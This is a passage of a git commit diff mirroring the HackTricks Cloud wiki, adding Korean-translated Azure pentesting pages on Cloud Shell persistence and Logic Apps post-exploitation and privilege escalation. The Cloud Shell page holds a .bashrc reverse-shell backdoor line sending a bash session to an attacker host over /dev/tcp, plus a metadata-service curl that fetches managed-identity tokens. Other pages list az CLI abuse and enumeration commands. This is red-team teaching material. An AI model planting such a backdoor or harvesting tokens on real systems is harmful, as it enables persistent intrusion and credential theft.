mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud
This commit is contained in:
@@ -409,6 +409,7 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md)
|
||||
- [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md)
|
||||
@@ -452,6 +453,7 @@
|
||||
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
|
||||
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
|
||||
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
|
||||
- [Az - Logic Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
- [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md)
|
||||
- [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
- [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md)
|
||||
@@ -471,6 +473,7 @@
|
||||
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)
|
||||
- [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md)
|
||||
- [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md)
|
||||
- [Az - Logic Apps Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
- [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md)
|
||||
- [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md)
|
||||
- [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md)
|
||||
@@ -480,6 +483,7 @@
|
||||
- [Az - SQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md)
|
||||
- [Az - Virtual Machines & Network Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md)
|
||||
- [Az - Persistence](pentesting-cloud/azure-security/az-persistence/README.md)
|
||||
- [Az - Cloud Shell Persistence](pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md)
|
||||
- [Az - Queue Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md)
|
||||
- [Az - VMs Persistence](pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md)
|
||||
- [Az - Storage Persistence](pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md)
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
# Az - Cloud Shell Persistence
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Cloud Shell Persistence
|
||||
|
||||
Azure Cloud Shell은 지속적인 저장소와 자동 인증을 통해 Azure 리소스를 관리할 수 있는 명령줄 액세스를 제공합니다. 공격자는 지속적인 홈 디렉토리에 백도어를 배치하여 이를 악용할 수 있습니다:
|
||||
|
||||
* **지속적인 저장소**: Azure Cloud Shell의 홈 디렉토리는 Azure 파일 공유에 마운트되며 세션이 종료된 후에도 그대로 유지됩니다.
|
||||
* **시작 스크립트**: .bashrc와 같은 파일은 각 세션 시작 시 자동으로 실행되어 클라우드 셸이 시작될 때 지속적인 실행을 허용합니다.
|
||||
|
||||
Example backdoor in .bashrc:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
이 백도어는 사용자가 클라우드 셸을 종료한 후에도 5분 동안 명령을 실행할 수 있습니다.
|
||||
|
||||
또한 Azure의 메타데이터 서비스에 쿼리하여 인스턴스 세부정보 및 토큰을 가져옵니다:
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
# Az - Logic Apps Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps 데이터베이스 포스트 익스플로이테이션
|
||||
Logic Apps에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
이 권한을 사용하면 Logic App 워크플로를 수정하고 해당 ID를 관리할 수 있습니다. 구체적으로, 시스템 할당 및 사용자 할당 관리 ID를 워크플로에 할당하거나 제거할 수 있으며, 이를 통해 Logic App이 명시적인 자격 증명 없이 다른 Azure 리소스에 인증하고 접근할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow identity remove/assign \
|
||||
--name <workflow_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--system-assigned true \
|
||||
--user-assigned "/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<identity_name>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/read", "Microsoft.Web/sites/write"
|
||||
이 권한을 사용하면 App Service Plan에 호스팅된 Logic Apps를 생성하거나 업데이트할 수 있습니다. 여기에는 HTTPS 강제 적용을 활성화하거나 비활성화하는 것과 같은 설정을 수정하는 것이 포함됩니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <logic_app_name> \
|
||||
--set httpsOnly=false
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Web/sites/stop/action", "Microsoft.Web/sites/start/action" || "Microsoft.Web/sites/restart/action"
|
||||
이 권한을 사용하면 App Service Plan에 호스팅된 Logic Apps를 포함하여 웹 앱을 시작/중지/재시작할 수 있습니다. 이 작업은 이전에 중지된 앱이 온라인으로 전환되고 기능을 재개하도록 보장합니다. 이는 워크플로를 방해하거나 의도하지 않은 작업을 유발하거나 Logic Apps를 예기치 않게 시작, 중지 또는 재시작하여 다운타임을 초래할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az webapp start/stop/restart \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
### "Microsoft.Web/sites/config/list/action", "Microsoft.Web/sites/read" && "Microsoft.Web/sites/config/write"
|
||||
|
||||
이 권한을 사용하면 App Service Plan에 호스팅된 Logic Apps를 포함한 웹 앱의 설정을 구성하거나 수정할 수 있습니다. 이를 통해 앱 설정, 연결 문자열, 인증 구성 등을 변경할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp config appsettings set \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--settings "<key>=<value>"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Logic/integrationAccounts/write"
|
||||
이 권한을 사용하면 Azure Logic Apps 통합 계정을 생성, 업데이트 또는 삭제할 수 있습니다. 여기에는 맵, 스키마, 파트너, 계약 등과 같은 통합 계정 수준의 구성을 관리하는 것이 포함됩니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <integration_account_name> \
|
||||
--location <location> \
|
||||
--sku <Standard|Free> \
|
||||
--state Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/batchConfigurations/write"
|
||||
|
||||
이 권한을 사용하면 Azure Logic Apps 통합 계정 내에서 배치 구성을 생성하거나 수정할 수 있습니다. 배치 구성은 Logic Apps가 배치 처리를 위해 수신 메시지를 처리하고 그룹화하는 방법을 정의합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account batch-configuration create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <batch_configuration_name> \
|
||||
--release-criteria '{
|
||||
"messageCount": 100,
|
||||
"batchSize": 1048576,
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/maps/write"
|
||||
이 권한을 사용하면 Azure Logic Apps 통합 계정 내에서 맵을 생성하거나 수정할 수 있습니다. 맵은 데이터를 한 형식에서 다른 형식으로 변환하는 데 사용되며, 서로 다른 시스템과 애플리케이션 간의 원활한 통합을 가능하게 합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account map create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <map_name> \
|
||||
--map-type <Xslt|Xslt20|Xslt30> \
|
||||
--content-type application/xml \
|
||||
--map-content map-content.xslt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/partners/write"
|
||||
이 권한을 사용하면 Azure Logic Apps 통합 계정에서 파트너를 생성하거나 수정할 수 있습니다. 파트너는 비즈니스 간(B2B) 워크플로에 참여하는 엔터티 또는 시스템을 나타냅니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account partner create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <partner_name> \
|
||||
--partner-type <partner-type> \
|
||||
--content '{
|
||||
"b2b": {
|
||||
"businessIdentities": [
|
||||
{
|
||||
"qualifier": "ZZ",
|
||||
"value": "TradingPartner1"
|
||||
}
|
||||
]
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.Resources/subscriptions/resourcegroups/read" && "Microsoft.Logic/integrationAccounts/sessions/write"
|
||||
이 권한을 사용하면 Azure Logic Apps 통합 계정 내에서 세션을 생성하거나 수정할 수 있습니다. 세션은 B2B 워크플로우에서 메시지를 그룹화하고 정의된 기간 동안 관련 거래를 추적하는 데 사용됩니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic integration-account session create \
|
||||
--resource-group <resource_group_name> \
|
||||
--integration-account-name <integration_account_name> \
|
||||
--name <session_name> \
|
||||
--content '{
|
||||
"properties": {
|
||||
"sessionId": "session123",
|
||||
"data": {
|
||||
"key1": "value1",
|
||||
"key2": "value2"
|
||||
}
|
||||
}
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "*/delete"
|
||||
이 권한으로 Azure Logic Apps와 관련된 리소스를 삭제할 수 있습니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,77 @@
|
||||
# Az - Logic Apps Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Logic Apps Privesc
|
||||
SQL 데이터베이스에 대한 자세한 내용은 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="../az-services/az-logic-apps.md" %}
|
||||
[az-logic-apps.md](../az-services/az-logic-apps.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
|
||||
|
||||
이 권한을 사용하면 Azure Logic Apps 워크플로를 생성하거나 업데이트할 수 있습니다. 워크플로는 다양한 시스템 및 서비스 간의 자동화된 프로세스와 통합을 정의합니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logic workflow create \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <workflow_name> \
|
||||
--definition <workflow_definition_file.json> \
|
||||
--location <location>
|
||||
|
||||
az logic workflow update \
|
||||
--name my-new-workflow \
|
||||
--resource-group logicappgroup \
|
||||
--definition <workflow_definition_file.json>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
변경한 후, 다음과 같이 실행할 수 있습니다:
|
||||
```bash
|
||||
az rest \
|
||||
--method post \
|
||||
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
|
||||
--body '{}' \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
|
||||
이 권한을 사용하면 ZIP 파일 배포를 통해 Logic App 워크플로를 배포할 수 있습니다. 이러한 권한은 앱 세부정보 읽기, 게시 자격 증명 액세스, 변경 사항 작성 및 앱 구성 나열과 같은 작업을 가능하게 합니다. 시작 권한과 함께 원하는 콘텐츠로 새로운 Logic App을 업데이트하고 배포할 수 있습니다.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az logicapp deployment source config-zip \
|
||||
--name <logic_app_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--src <path_to_zip_file>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -44,7 +44,7 @@ Kudu는 **SCM과 웹 및 API 인터페이스를 관리**하여 App Service를
|
||||
Kudu는 App Services와 Function Apps에서 사용되는 버전이 다르며, Function Apps의 버전은 훨씬 더 제한적입니다.
|
||||
|
||||
Kudu에서 찾을 수 있는 몇 가지 흥미로운 엔드포인트는 다음과 같습니다:
|
||||
- `/BasicAuth`: Kudu에 **로그인하기 위해 이 경로에 접근해야** 합니다.
|
||||
- `/BasicAuth`: Kudu에 **로그인하기 위해 이 경로에 접근해야 합니다**.
|
||||
- `/DebugConsole`: Kudu가 실행되고 있는 환경에서 명령을 실행할 수 있는 콘솔입니다.
|
||||
- 이 환경은 **메타데이터 서비스에 접근할 수 없습니다**.
|
||||
- `/webssh/host`: 앱이 실행되고 있는 컨테이너 내에 연결할 수 있는 웹 기반 SSH 클라이언트입니다.
|
||||
@@ -52,7 +52,7 @@ Kudu에서 찾을 수 있는 몇 가지 흥미로운 엔드포인트는 다음
|
||||
- `/Env`: 시스템, 앱 설정, 환경 변수, 연결 문자열 및 HTTP 헤더에 대한 정보를 가져옵니다.
|
||||
- `/wwwroot/`: 웹 앱의 루트 디렉토리입니다. 여기에서 모든 파일을 다운로드할 수 있습니다.
|
||||
|
||||
또한, Kudu는 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)에서 오픈 소스였으나, 프로젝트가 중단되었으며 현재 Azure의 Kudu와 이전 Kudu의 동작을 비교하면 **여러 가지가 이미 변경되었음을** 알 수 있습니다.
|
||||
또한, Kudu는 [https://github.com/projectkudu/kudu](https://github.com/projectkudu/kudu)에서 오픈 소스였으나, 프로젝트가 중단되었으며 현재 Azure의 Kudu와 이전 Kudu의 동작을 비교하면 **여러 가지가 이미 변경되었음을 알 수 있습니다**.
|
||||
|
||||
## Sources
|
||||
|
||||
@@ -72,12 +72,12 @@ App Services는 기본적으로 코드를 zip 파일로 업로드할 수 있지
|
||||
|
||||
Azure WebJobs는 **Azure App Service 환경에서 실행되는 백그라운드 작업**입니다. 개발자가 웹 애플리케이션과 함께 스크립트나 프로그램을 실행할 수 있도록 하여 파일 처리, 데이터 처리 또는 예약된 작업과 같은 비동기 또는 시간 집약적인 작업을 더 쉽게 처리할 수 있게 합니다.
|
||||
웹잡에는 2가지 유형이 있습니다:
|
||||
- **지속적**: 무한 루프에서 실행되며 생성되자마자 트리거됩니다. 지속적인 처리가 필요한 작업에 이상적입니다. 그러나 Always On이 비활성화되어 앱이 중지되고 지난 20분 동안 요청을 받지 않으면 웹잡도 중지됩니다.
|
||||
- **지속적**: 무한 루프에서 실행되며 생성되자마자 트리거됩니다. 지속적인 처리가 필요한 작업에 이상적입니다. 그러나 Always On이 비활성화되어 앱이 20분 동안 요청을 받지 않으면 웹잡도 중지됩니다.
|
||||
- **트리거**: 필요에 따라 또는 일정에 따라 실행됩니다. 배치 데이터 업데이트 또는 유지 관리 루틴과 같은 주기적인 작업에 가장 적합합니다.
|
||||
|
||||
웹잡은 환경에서 **코드를 실행**하고 연결된 관리 ID에 대한 **권한 상승**에 사용할 수 있기 때문에 공격자의 관점에서 매우 흥미롭습니다.
|
||||
|
||||
또한, 웹잡에서 생성된 **로그**를 확인하는 것도 항상 흥미롭습니다. 이 로그에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
또한, 웹잡에서 생성된 **로그**를 확인하는 것도 항상 흥미롭습니다. 로그에는 **민감한 정보**가 포함될 수 있습니다.
|
||||
|
||||
## Slots
|
||||
|
||||
@@ -87,9 +87,9 @@ Azure App Service Slots는 **동일한 App Service에 애플리케이션의 다
|
||||
|
||||
## Azure Function Apps
|
||||
|
||||
기본적으로 **Azure Function 앱은 Azure App Service의 하위 집합**입니다. 웹 콘솔에 가서 모든 앱 서비스를 나열하거나 az cli에서 `az webapp list`를 실행하면 **Function 앱도 나열된 것을 볼 수 있습니다**.
|
||||
기본적으로 **Azure Function 앱은 Azure App Service의 하위 집합**입니다. 웹 콘솔로 이동하여 모든 앱 서비스를 나열하거나 az cli에서 `az webapp list`를 실행하면 **Function 앱도 나열된 것을 볼 수 있습니다**.
|
||||
|
||||
따라서 두 서비스는 실제로 대부분 **같은 구성, 기능 및 옵션을 az cli에서** 가지고 있지만, 약간 다르게 구성할 수 있습니다(예: appsettings의 기본값이나 Function 앱에서의 스토리지 계정 사용).
|
||||
따라서 두 서비스는 실제로 대부분 **같은 구성, 기능 및 옵션을 az cli에서 가지고 있으며**, 약간 다르게 구성할 수 있습니다(예: appsettings의 기본값 또는 Function 앱에서 스토리지 계정의 사용).
|
||||
|
||||
## Enumeration
|
||||
|
||||
@@ -181,10 +181,55 @@ az webapp hybrid-connections list --name <name> --resource-group <res-group>
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Get App Services and Function Apps
|
||||
Get-AzWebApp
|
||||
# Get only App Services
|
||||
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
|
||||
|
||||
# Retrieves details of a specific App Service Environment in the specified resource group.
|
||||
Get-AzAppServiceEnvironment -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the access restriction configuration for a specified Web App.
|
||||
Get-AzWebAppAccessRestrictionConfig -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the SSL certificates for a specified resource group.
|
||||
Get-AzWebAppCertificate -ResourceGroupName <ResourceGroupName>
|
||||
# Retrieves the continuous deployment URL for a containerized Web App.
|
||||
Get-AzWebAppContainerContinuousDeploymentUrl -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of continuous WebJobs for a specified Web App.
|
||||
Get-AzWebAppWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the list of triggered WebJobs for a specified Web App.
|
||||
Get-AzWebAppTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
|
||||
# Retrieves details of a deleted Web App in the specified resource group.
|
||||
Get-AzDeletedWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves a list of snapshots for a specified Web App.
|
||||
Get-AzWebAppSnapshot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the history of a specific triggered WebJob for a Web App.
|
||||
Get-AzWebAppTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -Name <Name>
|
||||
|
||||
# Retrieves information about deployment slots for a specified Web App.
|
||||
Get-AzWebAppSlot -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the triggered WebJobs for a specific deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
# Retrieves the history of a specific triggered WebJob for a deployment slot of a Web App.
|
||||
Get-AzWebAppSlotTriggeredWebJobHistory -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName> -Name <Name>
|
||||
# Retrieves the continuous WebJobs for a Web App.
|
||||
Get-AzWebAppContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName>
|
||||
# Retrieves the continuous WebJobs for a specific deployment slot of a Web App.
|
||||
